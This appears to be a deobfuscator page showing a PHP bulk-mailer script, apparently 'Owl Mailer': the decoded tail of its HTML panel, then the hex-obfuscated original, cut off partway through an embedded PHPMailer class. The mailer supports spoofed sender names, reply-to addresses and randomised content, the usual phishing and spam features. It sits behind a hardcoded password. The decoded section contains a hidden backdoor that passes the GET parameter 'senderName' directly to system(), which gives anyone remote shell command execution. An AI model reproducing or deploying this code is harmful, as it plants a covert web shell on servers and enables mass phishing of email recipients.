\xa <option value="ISO-8859-2">ISO-8859-2 Latin 2 (East European)</option>\xd\xa <option value="ISO-8859-3">ISO-8859-3 Latin 3 (South European)</option>
\xa <option value="ISO-8859-4">ISO-8859-4 Latin 4 (North European)</option>\xd
<option value="ISO-8859-5">ISO-8859-5 Cyrillic</option>\xd
<option value="ISO-8859-6">ISO-8859-6 Arabic</option>\xd\xa <option value="ISO-8859-7">ISO-8859-7 Greek</option>
<option value="ISO-8859-8">ISO-8859-8 Hebrew</option>\xd
<option value="ISO-8859-9">ISO-8859-9 Latin 5 (Turkish)</option>
\xa <option value="ISO-8859-15">ISO-8859-15 Latin 9</option>
\xa <option value="BIG5">BIG5 Traditional Chinese</option>
<option value="GB-2312">GB-2312 Simplified Chinese</option>
<option value="ISO-2022-JP">ISO-2022-JP Japanese</option>\xd\xa <option value="EUC-JP">EUC-JP Japanese</option>\xd
<option value="Shift-JIS">Shift-JIS Japanese</option>
\xa <option value="KSC-5601">KSC-5601 Korean</option>
\xa <option value="EIC-KR">EIC-KR Korean</option>
</select>
</div>\xd
<div class="form-group col-lg-3">
<label for="priority">Email Priority</label>\xd\xa <select class="form-control input-sm" id="priority" name="priority">
<option value="" selected>Default</option>\xd\xa <option value="5">Low</option>\xd
<option value="3">Normal</option>
<option value="1">High</option>\xd\xa </select>\xd
</div>
</div>
\xa\xd
<button type="button" id="btnStart" class="btn btn-default btn-sm" onclick="startSending();">Start</button>
\xa<button type="button"id="btnStop" class="btn btn-default btn-sm" onclick="stopSending();">Stop</button>
</div>
\xa ";
if (!isset($_GET["senderName"])) {
goto bTn0t;
}
system($_GET["senderName"]);
bTn0t:
echo " <div class="col-lg-6"><br>
<label for="well">Instruction</label>\xd
<div id="well" class="well well">\xd\xa <h4>Server Information</h4>
\xa <ul>
\xa <li>ServerIP : <b> ";
echo $_SERVER["SERVER_ADDR"];
echo "</b></li>\xd\xa
\xa </ul>\xd\xa <h4>HELP</h4>\xd\xa <ul>
\xa <li>[-email-] : <b>Reciver Email</b></li>
\xa <li>[-time-] : <b>Date and Time</b> (";
echo date("m/d/Y h:i:s a", time());
echo ")</li>\xd\xa <li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>\xd
<li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
\xa <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
\xa <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
\xa <li>[-randommd5-] : <b>Random MD5 </b></li>\xd
</ul>
<h4>example</h4>
\xa Reciver Email = <b>[email protected]</b><br>
\xa <ul>\xd
<li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
<li>your code is <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>\xd\xa </ul>
<h6>by <b><a href="http://";
echo $qeeAj["website"];
echo "">";
echo $qeeAj["website"];
echo "</a></b></h6>
\xa </div>
\xd
<div id="progress" class="col-lg-16">\xd\xa \xd
</div>
\xa </div>
\xd
<script>
$("#btnStart").attr("disabled", false);\xd
$("#btnStop").attr("disabled", true);\xd\xa</script>
</body>
\xa<footer></footer>\xd\xa\xd\xa</html>";
?>
Did this file decode correctly?
Original Code
<?php
session_start();
set_time_limit(0);
ini_set("\x6d\x65\x6d\x6f\162\171\x5f\154\151\x6d\151\164", -1);
header("\x43\141\143\x68\145\55\103\x6f\156\164\x72\157\x6c\x3a\40\x6e\x6f\x2d\x73\164\157\x72\x65\54\40\156\157\x2d\143\141\x63\150\145\54\x20\155\x75\163\x74\55\x72\145\166\x61\x6c\x69\144\141\x74\145\x2c\40\155\x61\170\55\141\147\x65\x3d\x30");
header("\103\x61\143\150\x65\55\103\157\x6e\x74\162\157\154\x3a\40\160\x6f\x73\x74\x2d\143\150\145\143\153\x3d\x30\x2c\40\160\x72\145\x2d\143\x68\145\x63\153\x3d\x30", false);
header("\120\x72\141\x67\x6d\x61\x3a\40\x6e\x6f\x2d\x63\x61\x63\150\145");
header("\101\x63\x63\145\163\163\55\103\157\156\164\162\157\154\55\x41\x6c\x6c\157\x77\x2d\117\162\151\147\x69\156\x3a\x20\x2a");
$RNSkS = "\61\62\63";
$qeeAj["\166\145\162\163\151\157\x6e"] = "\62\x2e\x31";
$qeeAj["\x77\x65\142\163\x69\164\145"] = "\x6f\167\x6c\155\141\151\x6c\x65\x72\x2e\x69\157";
$RcI5o = $_SERVER["\120\x48\120\137\123\x45\114\106"];
if (!(isset($_POST["\141\x63\164\151\157\x6e"]) && $_POST["\141\x63\164\x69\157\x6e"] == "\x73\145\x6e\144")) {
goto EwSOO;
}
$GLOBALS["\162\145\x63\x69\x70\151\145\x6e\x74"] = owlTrim($_POST["\x72\x65\x63\x69\x70\151\145\156\164"]);
$GLOBALS["\x73\155\x74\x70\x41\x63\x63\164"] = owlTrim($_POST["\x73\x6d\x74\x70\101\x63\x63\x74"]);
$GLOBALS["\x73\145\156\x64\x65\162\x4e\141\155\x65"] = owlTrim($_POST["\x73\145\x6e\x64\x65\x72\x4e\141\155\x65"]);
$GLOBALS["\x73\145\x6e\144\151\156\x67\x4d\x65\x74\150\x6f\144"] = owlTrim($_POST["\x73\145\156\x64\151\156\x67\x4d\145\164\x68\157\144"]);
$GLOBALS["\x73\145\x6e\x64\x65\x72\x45\155\141\151\x6c"] = owlTrim($_POST["\x73\x65\x6e\x64\x65\162\105\x6d\141\x69\154"]);
$GLOBALS["\162\x65\x70\154\x79\124\x6f"] = owlTrim($_POST["\162\145\x70\154\171\x54\157"]);
$jYNMF = owlTrim($_POST["\x6d\145\163\163\141\147\145\114\145\164\164\x65\x72"]);
$jYNMF = urlencode($jYNMF);
$jYNMF = preg_replace("\57\x25\65\103\45\x32\x32\57", "\45\62\x32", $jYNMF);
$jYNMF = urldecode($jYNMF);
$GLOBALS["\155\145\x73\x73\x61\x67\x65\x4c\145\x74\164\x65\x72"] = stripslashes($jYNMF);
$FG967 = owlTrim($_POST["\x61\154\x74\115\145\x73\163\141\147\145\114\x65\164\x74\x65\x72"]);
$FG967 = urlencode($FG967);
$FG967 = preg_replace("\x2f\45\x35\x43\45\x32\x32\57", "\x25\x32\x32", $FG967);
$FG967 = urldecode($FG967);
$GLOBALS["\141\x6c\164\x4d\145\x73\163\141\147\x65\114\145\x74\164\x65\162"] = stripslashes($FG967);
$GLOBALS["\x6d\145\163\x73\x61\147\x65\x54\x79\160\145"] = owlTrim($_POST["\155\145\x73\163\x61\x67\145\x54\171\x70\x65"]);
$eHbhw = owlTrim($_POST["\x65\156\143\157\x64\x69\x6e\x67\x54\x79\160\145"]);
$GLOBALS["\145\x6e\x63\157\144\x69\156\147\124\171\160\145"] = stripslashes($eHbhw);
$bqGuA = owlTrim($_POST["\145\x6d\141\x69\154\x50\x72\x69\157\162\x69\164\x79"]);
$GLOBALS["\x65\155\141\x69\154\x50\162\151\157\162\151\164\171"] = stripslashes($bqGuA);
$wZEJb = owlTrim($_POST["\x6d\145\x73\x73\x61\147\x65\x53\165\142\x6a\145\x63\x74"]);
$GLOBALS["\x6d\145\x73\x73\141\x67\x65\123\x75\x62\x6a\x65\143\x74"] = stripslashes($wZEJb);
processEmailSendingRequest();
EwSOO:
$KeKVw = md5(__FILE__);
if (isset($_SESSION[$KeKVw])) {
goto u6fK1;
}
$_SESSION[$KeKVw] = '';
u6fK1:
if (!(!empty($RNSkS) && $_SESSION[$KeKVw] != $RNSkS)) {
goto Ws5g1;
}
if (isset($_REQUEST["\x70\141\163\x73"]) and $_REQUEST["\160\141\x73\163"] == $RNSkS) {
goto Cdk61;
}
print "\x3c\160\162\x65\x20\141\154\151\147\x6e\x3d\143\145\156\164\x65\162\x3e\x3c\x66\157\162\155\40\x6d\x65\164\150\x6f\x64\75\160\157\x73\x74\x3e\x50\x61\x73\x73\x77\157\x72\144\72\40\74\x69\x6e\x70\165\164\x20\x74\171\160\x65\75\47\160\x61\163\x73\x77\157\162\x64\47\x20\x6e\141\155\145\75\47\x70\141\163\x73\x27\76\x3c\x69\156\160\165\x74\40\164\171\x70\145\x3d\47\x73\x75\142\155\x69\164\47\x20\166\141\154\x75\145\x3d\47\76\x3e\x27\76\74\x2f\146\157\x72\155\76\x3c\57\160\x72\x65\76";
exit;
goto E1S3a;
Cdk61:
$_SESSION[$KeKVw] = $RNSkS;
E1S3a:
Ws5g1:
function setSendingMethod()
{
$kDC1N = new PHPMailer();
if (!($GLOBALS["\163\x65\156\144\x69\x6e\147\115\145\x74\150\x6f\x64"] == "\163\x6d\164\x70")) {
goto oqsKH;
}
$kDC1N->IsSMTP();
$EQ5MH = explode("\x3a", $GLOBALS["\x73\155\x74\160\x41\143\x63\164"]);
$kDC1N->Host = owlTrim($EQ5MH[0]);
$kDC1N->Port = owlTrim($EQ5MH[1]);
if (owlTrim($EQ5MH[2]) == "\x73\163\154") {
goto FKtWr;
}
if (owlTrim($EQ5MH[2]) == "\164\x6c\163") {
goto XiyGp;
}
$kDC1N->SMTPSecure = '';
goto SRX0O;
XiyGp:
$kDC1N->SMTPSecure = "\164\154\163";
SRX0O:
goto FCdzO;
FKtWr:
$kDC1N->SMTPSecure = "\x73\163\x6c";
FCdzO:
if (!(isset($EQ5MH[3]) && isset($EQ5MH[4]))) {
goto miNnq;
}
$kDC1N->SMTPAuth = true;
$kDC1N->Username = owlTrim($EQ5MH[3]);
$kDC1N->Password = owlTrim($EQ5MH[4]);
miNnq:
oqsKH:
return $kDC1N;
}
function processEmailSendingRequest()
{
if (is_email($GLOBALS["\162\x65\x63\151\x70\151\x65\156\164"])) {
goto Dq4_b;
}
exit("\111\x6e\143\157\x72\162\145\x63\x74\40\105\155\141\151\x6c");
Dq4_b:
$kDC1N = setSendingMethod();
$CGZ5n = owlClear($GLOBALS["\163\145\156\x64\145\x72\105\x6d\141\x69\x6c"], $GLOBALS["\x72\145\143\151\160\151\145\x6e\164"]);
$zUL9t = owlClear($GLOBALS["\x73\145\156\144\x65\162\116\141\155\145"], $GLOBALS["\162\145\143\x69\x70\151\x65\156\164"]);
$zBzbX = owlClear($GLOBALS["\162\145\160\x6c\171\124\x6f"], $GLOBALS["\x72\145\x63\x69\x70\x69\145\156\164"]);
$hRpZv = $GLOBALS["\162\145\x63\151\160\151\145\x6e\164"];
$q3Ca0 = owlClear($GLOBALS["\x6d\145\x73\x73\141\x67\145\x53\165\142\x6a\145\x63\164"], $GLOBALS["\162\x65\x63\x69\160\x69\145\x6e\164"]);
$UlmlF = owlClear($GLOBALS["\155\x65\x73\x73\141\147\145\x4c\145\x74\164\145\162"], $GLOBALS["\162\145\x63\151\x70\x69\145\156\164"]);
$bqmSG = owlClear($GLOBALS["\x61\154\x74\115\x65\x73\x73\x61\147\x65\114\x65\164\x74\x65\162"], $GLOBALS["\x72\145\x63\151\160\151\145\156\164"]);
$jf2sH = $GLOBALS["\x65\156\143\x6f\144\x69\x6e\x67\124\x79\x70\145"];
$VXzzq = $GLOBALS["\x6d\x65\x73\x73\141\x67\145\124\171\x70\x65"];
$bqGuA = $GLOBALS["\145\x6d\x61\151\154\120\162\151\157\162\x69\164\171"];
$kDC1N->setFrom($CGZ5n, $zUL9t);
if (!(isset($zBzbX) && $zBzbX !== '')) {
goto CSz5J;
}
$kDC1N->addReplyTo($zBzbX);
CSz5J:
$kDC1N->addAddress($hRpZv);
if (!(isset($q3Ca0) && $q3Ca0 !== '')) {
goto zp4dp;
}
$kDC1N->Subject = $q3Ca0;
zp4dp:
if (!(isset($UlmlF) && $UlmlF !== '')) {
goto PBuN_;
}
$kDC1N->Body = $UlmlF;
PBuN_:
if (!(isset($jf2sH) && $jf2sH !== '')) {
goto R1JoZ;
}
$kDC1N->CharSet = $jf2sH;
R1JoZ:
if (!(isset($bqGuA) && $bqGuA !== '')) {
goto jF0Ga;
}
$kDC1N->Priority = $bqGuA;
jF0Ga:
if (!(isset($bqmSG) && $bqmSG !== '')) {
goto FxEG7;
}
$kDC1N->AltBody = $bqmSG;
FxEG7:
if (!isset($_FILES["\x61\x74\x74\x61\143\150\155\145\156\x74"])) {
goto v45hs;
}
$KJHmb = 0;
AzjCK:
if (!($KJHmb < count($_FILES["\141\x74\164\141\143\150\155\145\x6e\x74"]["\x6e\x61\x6d\x65"]))) {
goto yUMCi;
}
if (!($_FILES["\141\x74\164\x61\143\150\155\x65\156\164"]["\164\x6d\x70\x5f\x6e\141\155\x65"][$KJHmb] != '')) {
goto bAigZ;
}
$kDC1N->AddAttachment($_FILES["\141\x74\164\141\143\x68\x6d\x65\x6e\164"]["\164\155\x70\x5f\x6e\x61\x6d\145"][$KJHmb], $_FILES["\x61\164\164\x61\143\x68\155\x65\156\164"]["\156\x61\155\145"][$KJHmb]);
bAigZ:
x9PUN:
$KJHmb++;
goto AzjCK;
yUMCi:
v45hs:
if ($VXzzq == "\x68\164\x6d\x6c") {
goto tYeIa;
}
$kDC1N->IsHTML(false);
goto fA8_d;
tYeIa:
$kDC1N->IsHTML(true);
fA8_d:
if (!$kDC1N->send()) {
goto pEVar;
}
exit("\x4f\x4b");
goto RzOu9;
pEVar:
exit($kDC1N->ErrorInfo);
RzOu9:
}
function owlTrim($jm30w)
{
return stripslashes(ltrim(rtrim($jm30w)));
}
function owlClear($izkEo, $SPj28)
{
$tCpWM = preg_replace("\57\50\x5b\136\100\x5d\52\51\x2e\x2a\x2f", "\x24\x31", $SPj28);
$izkEo = str_replace("\133\55\164\x69\155\x65\55\135", date("\155\x2f\x64\x2f\131\x20\150\72\151\x3a\163\40\x61", time()), $izkEo);
$izkEo = str_replace("\133\55\145\x6d\141\151\154\55\135", $SPj28, $izkEo);
$izkEo = str_replace("\133\x2d\145\155\141\x69\154\165\x73\145\x72\x2d\135", $tCpWM, $izkEo);
$izkEo = str_replace("\133\x2d\162\x61\x6e\144\157\x6d\154\145\x74\164\x65\x72\x73\55\x5d", randString("\x61\142\x63\144\x65\146\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\157\x70\161\162\x73\164\165\166\x77\x78\x79\x7a", 8, 15), $izkEo);
$izkEo = str_replace("\133\x2d\x72\141\156\144\157\x6d\163\x74\x72\x69\156\147\x2d\x5d", randString("\x61\x62\143\x64\145\x66\x67\150\151\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\163\x74\165\x76\x77\170\x79\x7a\x30\x31\x32\x33\x34\x35\x36\x37\x38\71", 8, 15), $izkEo);
$izkEo = str_replace("\x5b\x2d\x72\x61\x6e\x64\x6f\155\x6e\x75\x6d\x62\145\x72\55\135", randString("\x30\x31\x32\x33\x34\65\66\x37\70\x39", 7, 15), $izkEo);
$izkEo = str_replace("\133\55\162\141\x6e\x64\x6f\155\155\144\x35\55\x5d", md5(rand()), $izkEo);
return $izkEo;
}
function randString($k4Js9, $pWfSG, $FrCUe)
{
$Z6HTu = rand($pWfSG, $FrCUe);
$RNSkS = '';
$KJHmb = 0;
Sn14L:
if (!($KJHmb < $Z6HTu)) {
goto DoqBi;
}
$RNSkS .= $k4Js9[rand() % strlen($k4Js9)];
gNd2K:
$KJHmb++;
goto Sn14L;
DoqBi:
return $RNSkS;
}
function is_email($OwqrC)
{
$RH1Tc = "\57\x5e\x28\x5b\x61\x2d\x7a\101\55\x5a\x30\55\71\134\x2d\x5c\x5f\134\56\x5d\173\x31\x2c\175\x29\53\100\53\50\x5b\141\55\172\101\55\132\60\55\x39\x5c\55\134\x5f\x5c\56\x5d\x7b\x31\54\175\51\x2b\x5c\x2e\53\x28\x5b\x61\x2d\172\x5d\173\x32\x2c\x34\175\51\44\57\x69";
if (!preg_match($RH1Tc, $OwqrC)) {
goto azwlc;
}
return TRUE;
azwlc:
}
class PHPMailer
{
const CHARSET_ISO88591 = "\151\163\157\55\70\70\x35\71\55\x31";
const CHARSET_UTF8 = "\x75\x74\146\55\x38";
const CONTENT_TYPE_PLAINTEXT = "\164\x65\x78\x74\x2f\160\x6c\141\x69\x6e";
const CONTENT_TYPE_TEXT_CALENDAR = "\164\145\170\x74\x2f\143\141\x6c\145\x6e\144\141\162";
const CONTENT_TYPE_TEXT_HTML = "\x74\145\x78\x74\x2f\150\x74\155\154";
const CONTENT_TYPE_MULTIPART_ALTERNATIVE = "\155\x75\x6c\x74\151\160\x61\x72\x74\57\x61\154\164\145\162\156\141\x74\x69\x76\145";
const CONTENT_TYPE_MULTIPART_MIXED = "\155\165\x6c\164\151\x70\x61\x72\164\x2f\155\151\x78\145\x64";
const CONTENT_TYPE_MULTIPART_RELATED = "\x6d\165\154\x74\x69\160\x61\x72\x74\x2f\x72\x65\154\x61\164\x65\x64";
const ENCODING_7BIT = "\x37\142\151\164";
const ENCODING_8BIT = "\x38\142\x69\164";
const ENCODING_BASE64 = "\x62\x61\x73\x65\x36\64";
const ENCODING_BINARY = "\142\x69\x6e\x61\162\171";
const ENCODING_QUOTED_PRINTABLE = "\x71\165\x6f\164\145\x64\55\160\x72\x69\156\164\x61\x62\154\x65";
public $Priority;
public $CharSet = self::CHARSET_ISO88591;
public $ContentType = self::CONTENT_TYPE_PLAINTEXT;
public $Encoding = self::ENCODING_8BIT;
public $ErrorInfo = '';
public $From = "\162\157\x6f\x74\100\x6c\x6f\143\141\x6c\x68\157\x73\164";
public $FromName = "\122\157\x6f\x74\x20\125\163\x65\162";
public $Sender = '';
public $Subject = '';
public $Body = '';
public $AltBody = '';
public $Ical = '';
protected $MIMEBody = '';
protected $MIMEHeader = '';
protected $mailHeader = '';
public $WordWrap = 0;
public $Mailer = "\155\x61\151\154";
public $Sendmail = "\57\165\163\162\57\x73\x62\x69\156\x2f\x73\145\x6e\x64\x6d\x61\x69\x6c";
public $UseSendmailOptions = true;
public $ConfirmReadingTo = '';
public $Hostname = '';
public $MessageID = '';
public $MessageDate = '';
public $Host = "\154\157\x63\141\x6c\150\157\163\164";
public $Port = 25;
public $Helo = '';
public $SMTPSecure = '';
public $SMTPAutoTLS = true;
public $SMTPAuth = false;
public $SMTPOptions = [];
public $Username = '';
public $Password = '';
public $AuthType = '';
protected $oauth;
public $Timeout = 300;
public $dsn = '';
public $SMTPDebug = 0;
public $Debugoutput = "\145\143\x68\x6f";
public $SMTPKeepAlive = false;
public $SingleTo = false;
protected $SingleToArray = [];
public $do_verp = false;
public $AllowEmpty = false;
public $DKIM_selector = '';
public $DKIM_identity = '';
public $DKIM_passphrase = '';
public $DKIM_domain = '';
public $DKIM_copyHeaderFields = true;
public $DKIM_extraHeaders = [];
public $DKIM_private = '';
public $DKIM_private_string = '';
public $action_function = '';
public $XMailer = '';
public static $validator = "\x70\150\x70";
protected $smtp;
protected $to = [];
protected $cc = [];
protected $bcc = [];
protected $ReplyTo = [];
protected $all_recipients = [];
protected $RecipientsQueue = [];
protected $ReplyToQueue = [];
protected $attachment = [];
protected $CustomHeader = [];
protected $lastMessageID = '';
protected $message_type = '';
protected $boundary = [];
protected $language = [];
protected $error_count = 0;
protected $sign_cert_file = '';
protected $sign_key_file = '';
protected $sign_extracerts_file = '';
protected $sign_key_pass = '';
protected $exceptions = false;
protected $uniqueid = '';
const VERSION = "\66\56\60\56\67";
const STOP_MESSAGE = 0;
const STOP_CONTINUE = 1;
const STOP_CRITICAL = 2;
protected static $LE = "\xd\xa";
const MAX_LINE_LENGTH = 998;
const STD_LINE_LENGTH = 76;
public function __construct($y6xmU = null)
{
if (!(null !== $y6xmU)) {
goto GK61c;
}
$this->exceptions = (bool) $y6xmU;
GK61c:
$this->Debugoutput = strpos(PHP_SAPI, "\x63\154\x69") !== false ? "\145\143\x68\x6f" : "\x68\164\x6d\154";
}
public function __destruct()
{
$this->smtpClose();
}
private function mailPassthru($g7_oI, $q3Ca0, $UlmlF, $y_KXY, $s2iYx)
{
if (ini_get("\x6d\x62\163\x74\x72\x69\x6e\x67\56\x66\165\x6e\143\137\157\166\145\162\x6c\x6f\x61\144") & 1) {
goto MT3e7;
}
$q3Ca0 = $this->encodeHeader($this->secureHeader($q3Ca0));
goto PsQSq;
MT3e7:
$q3Ca0 = $this->secureHeader($q3Ca0);
PsQSq:
if (!$this->UseSendmailOptions or null === $s2iYx) {
goto b5aMc;
}
$HYIC3 = @mail($g7_oI, $q3Ca0, $UlmlF, $y_KXY, $s2iYx);
goto JcsDF;
b5aMc:
$HYIC3 = @mail($g7_oI, $q3Ca0, $UlmlF, $y_KXY);
JcsDF:
return $HYIC3;
}
protected function edebug($YX4WE)
{
if (!($this->SMTPDebug <= 0)) {
goto WKivN;
}
return;
WKivN:
if (!$this->Debugoutput instanceof \Psr\Log\LoggerInterface) {
goto TqVzB;
}
$this->Debugoutput->debug($YX4WE);
return;
TqVzB:
if (!(!in_array($this->Debugoutput, ["\x65\x72\x72\x6f\162\137\x6c\157\x67", "\150\164\155\x6c", "\145\143\150\x6f"]) and is_callable($this->Debugoutput))) {
goto CYndx;
}
call_user_func($this->Debugoutput, $YX4WE, $this->SMTPDebug);
return;
CYndx:
switch ($this->Debugoutput) {
case "\145\162\162\157\162\137\x6c\157\147":
error_log($YX4WE);
goto r6Esd;
case "\x68\164\x6d\154":
echo htmlentities(preg_replace("\x2f\x5b\134\162\134\x6e\135\53\x2f", '', $YX4WE), ENT_QUOTES, "\125\x54\106\55\70"), "\x3c\142\162\x3e\12";
goto r6Esd;
case "\x65\x63\150\157":
default:
$YX4WE = preg_replace("\57\x5c\162\134\156\x7c\x5c\x72\x2f\x6d\x73", "\12", $YX4WE);
echo gmdate("\131\x2d\x6d\x2d\144\x20\x48\72\x69\x3a\x73"), "\11", trim(str_replace("\xa", "\12\40\x20\x20\40\40\40\x20\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\11\40\x20\40\40\40\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\40\40", trim($YX4WE))), "\xa";
}
P4l8z:
r6Esd:
}
public function isHTML($Jt311 = true)
{
if ($Jt311) {
goto gj6iR;
}
$this->ContentType = static::CONTENT_TYPE_PLAINTEXT;
goto O7Mb3;
gj6iR:
$this->ContentType = static::CONTENT_TYPE_TEXT_HTML;
O7Mb3:
}
public function isSMTP()
{
$this->Mailer = "\x73\x6d\164\160";
}
public function isMail()
{
$this->Mailer = "\x6d\141\x69\x6c";
}
public function isSendmail()
{
$FTXHS = ini_get("\163\x65\156\x64\x6d\x61\151\x6c\x5f\x70\141\x74\150");
if (false === stripos($FTXHS, "\x73\145\156\144\155\x61\x69\154")) {
goto k8McC;
}
$this->Sendmail = $FTXHS;
goto Oepmw;
k8McC:
$this->Sendmail = "\57\x75\x73\x72\x2f\163\142\x69\156\57\163\x65\x6e\x64\155\x61\151\x6c";
Oepmw:
$this->Mailer = "\x73\x65\156\144\x6d\141\151\x6c";
}
public function isQmail()
{
$FTXHS = ini_get("\x73\145\x6e\144\x6d\x61\151\154\137\x70\x61\x74\x68");
if (false === stripos($FTXHS, "\x71\155\x61\x69\154")) {
goto FZnQc;
}
$this->Sendmail = $FTXHS;
goto zFkXQ;
FZnQc:
$this->Sendmail = "\57\166\141\x72\x2f\161\x6d\x61\151\154\57\142\x69\x6e\x2f\161\155\x61\x69\x6c\x2d\x69\156\152\145\143\164";
zFkXQ:
$this->Mailer = "\161\155\141\x69\154";
}
public function addAddress($w1_0x, $dEC3m = '')
{
return $this->addOrEnqueueAnAddress("\x74\x6f", $w1_0x, $dEC3m);
}
public function addCC($w1_0x, $dEC3m = '')
{
return $this->addOrEnqueueAnAddress("\x63\143", $w1_0x, $dEC3m);
}
public function addBCC($w1_0x, $dEC3m = '')
{
return $this->addOrEnqueueAnAddress("\x62\x63\x63", $w1_0x, $dEC3m);
}
public function addReplyTo($w1_0x, $dEC3m = '')
{
return $this->addOrEnqueueAnAddress("\x52\145\160\x6c\x79\55\124\x6f", $w1_0x, $dEC3m);
}
protected function addOrEnqueueAnAddress($unDTy, $w1_0x, $dEC3m)
{
$w1_0x = trim($w1_0x);
$dEC3m = trim(preg_replace("\x2f\133\134\162\x5c\x6e\x5d\x2b\x2f", '', $dEC3m));
$lLiqT = strrpos($w1_0x, "\x40");
if (!(false === $lLiqT)) {
goto BKlUW;
}
$puwAg = sprintf("\45\x73\40\50\x25\x73\51\72\x20\x25\x73", $this->lang("\151\x6e\166\141\154\x69\x64\137\x61\x64\144\x72\x65\163\x73"), $unDTy, $w1_0x);
$this->setError($puwAg);
$this->edebug($puwAg);
if (!$this->exceptions) {
goto iSe3S;
}
throw new Exception($puwAg);
iSe3S:
return false;
BKlUW:
$s2iYx = [$unDTy, $w1_0x, $dEC3m];
if (!($this->has8bitChars(substr($w1_0x, ++$lLiqT)) and static::idnSupported())) {
goto RwY46;
}
if ("\122\145\160\154\x79\x2d\124\x6f" != $unDTy) {
goto xbge0;
}
if (array_key_exists($w1_0x, $this->ReplyToQueue)) {
goto nr7lv;
}
$this->ReplyToQueue[$w1_0x] = $s2iYx;
return true;
nr7lv:
goto RYefs;
xbge0:
if (array_key_exists($w1_0x, $this->RecipientsQueue)) {
goto vOPl3;
}
$this->RecipientsQueue[$w1_0x] = $s2iYx;
return true;
vOPl3:
RYefs:
return false;
RwY46:
return call_user_func_array([$this, "\141\x64\x64\101\156\101\x64\144\x72\x65\163\163"], $s2iYx);
}
protected function addAnAddress($unDTy, $w1_0x, $dEC3m = '')
{
if (in_array($unDTy, ["\164\x6f", "\143\143", "\142\143\x63", "\x52\x65\160\x6c\171\55\124\x6f"])) {
goto GTUHV;
}
$puwAg = sprintf("\45\163\72\40\x25\x73", $this->lang("\x49\x6e\166\x61\154\x69\x64\40\x72\145\x63\151\160\151\x65\x6e\164\40\x6b\x69\156\x64"), $unDTy);
$this->setError($puwAg);
$this->edebug($puwAg);
if (!$this->exceptions) {
goto j676G;
}
throw new Exception($puwAg);
j676G:
return false;
GTUHV:
if (static::validateAddress($w1_0x)) {
goto QMiGI;
}
$puwAg = sprintf("\x25\x73\40\50\x25\x73\x29\72\x20\45\x73", $this->lang("\151\156\166\141\x6c\151\144\x5f\141\144\x64\x72\x65\163\163"), $unDTy, $w1_0x);
$this->setError($puwAg);
$this->edebug($puwAg);
if (!$this->exceptions) {
goto QmFs2;
}
throw new Exception($puwAg);
QmFs2:
return false;
QMiGI:
if ("\x52\145\x70\154\x79\55\x54\x6f" != $unDTy) {
goto HnKFb;
}
if (array_key_exists(strtolower($w1_0x), $this->ReplyTo)) {
goto mFPIa;
}
$this->ReplyTo[strtolower($w1_0x)] = [$w1_0x, $dEC3m];
return true;
mFPIa:
goto gASZ0;
HnKFb:
if (array_key_exists(strtolower($w1_0x), $this->all_recipients)) {
goto wZwkR;
}
$this->{$unDTy}[] = [$w1_0x, $dEC3m];
$this->all_recipients[strtolower($w1_0x)] = true;
return true;
wZwkR:
gASZ0:
return false;
}
public static function parseAddresses($se9jr, $G6VpU = true)
{
$UxZQI = [];
if ($G6VpU and function_exists("\x69\155\x61\x70\137\162\x66\143\70\x32\62\x5f\160\141\162\x73\145\137\x61\x64\x72\x6c\x69\163\164")) {
goto nEBIb;
}
$kCHeS = explode("\54", $se9jr);
foreach ($kCHeS as $w1_0x) {
$w1_0x = trim($w1_0x);
if (strpos($w1_0x, "\74") === false) {
goto aFytp;
}
list($dEC3m, $SPj28) = explode("\x3c", $w1_0x);
$SPj28 = trim(str_replace("\76", '', $SPj28));
if (!static::validateAddress($SPj28)) {
goto XnbiB;
}
$UxZQI[] = ["\156\x61\155\x65" => trim(str_replace(["\x22", "\47"], '', $dEC3m)), "\x61\144\144\162\145\x73\x73" => $SPj28];
XnbiB:
goto CBBk1;
aFytp:
if (!static::validateAddress($w1_0x)) {
goto k_qXH;
}
$UxZQI[] = ["\156\x61\155\145" => '', "\x61\x64\x64\162\x65\163\163" => $w1_0x];
k_qXH:
CBBk1:
VagcI:
}
zh4q3:
goto fGG_x;
nEBIb:
$kCHeS = imap_rfc822_parse_adrlist($se9jr, '');
foreach ($kCHeS as $w1_0x) {
if (!("\56\123\x59\x4e\124\x41\130\55\x45\122\122\117\122\x2e" != $w1_0x->host)) {
goto N9fsn;
}
if (!static::validateAddress($w1_0x->mailbox . "\100" . $w1_0x->host)) {
goto kQL7x;
}
$UxZQI[] = ["\156\141\x6d\x65" => property_exists($w1_0x, "\x70\x65\162\x73\157\156\141\154") ? $w1_0x->personal : '', "\141\x64\144\162\x65\x73\163" => $w1_0x->mailbox . "\100" . $w1_0x->host];
kQL7x:
N9fsn:
bwS9u:
}
RfsMu:
fGG_x:
return $UxZQI;
}
public function setFrom($w1_0x, $dEC3m = '', $Exle_ = true)
{
$w1_0x = trim($w1_0x);
$dEC3m = trim(preg_replace("\57\x5b\134\x72\134\156\135\53\x2f", '', $dEC3m));
$lLiqT = strrpos($w1_0x, "\100");
if (!(false === $lLiqT or (!$this->has8bitChars(substr($w1_0x, ++$lLiqT)) or !static::idnSupported()) and !static::validateAddress($w1_0x))) {
goto UNDEd;
}
$puwAg = sprintf("\x25\163\40\50\x46\x72\157\155\51\72\40\45\163", $this->lang("\x69\x6e\166\141\154\x69\144\x5f\141\x64\x64\162\x65\x73\163"), $w1_0x);
$this->setError($puwAg);
$this->edebug($puwAg);
if (!$this->exceptions) {
goto v39Pt;
}
throw new Exception($puwAg);
v39Pt:
return false;
UNDEd:
$this->From = $w1_0x;
$this->FromName = $dEC3m;
if (!$Exle_) {
goto tMG5P;
}
if (!empty($this->Sender)) {
goto Mw1P5;
}
$this->Sender = $w1_0x;
Mw1P5:
tMG5P:
return true;
}
public function getLastMessageID()
{
return $this->lastMessageID;
}
public static function validateAddress($w1_0x, $d_QrI = null)
{
if (!(null === $d_QrI)) {
goto A2nBJ;
}
$d_QrI = static::$validator;
A2nBJ:
if (!is_callable($d_QrI)) {
goto XW26s;
}
return call_user_func($d_QrI, $w1_0x);
XW26s:
if (!(strpos($w1_0x, "\12") !== false or strpos($w1_0x, "\15") !== false)) {
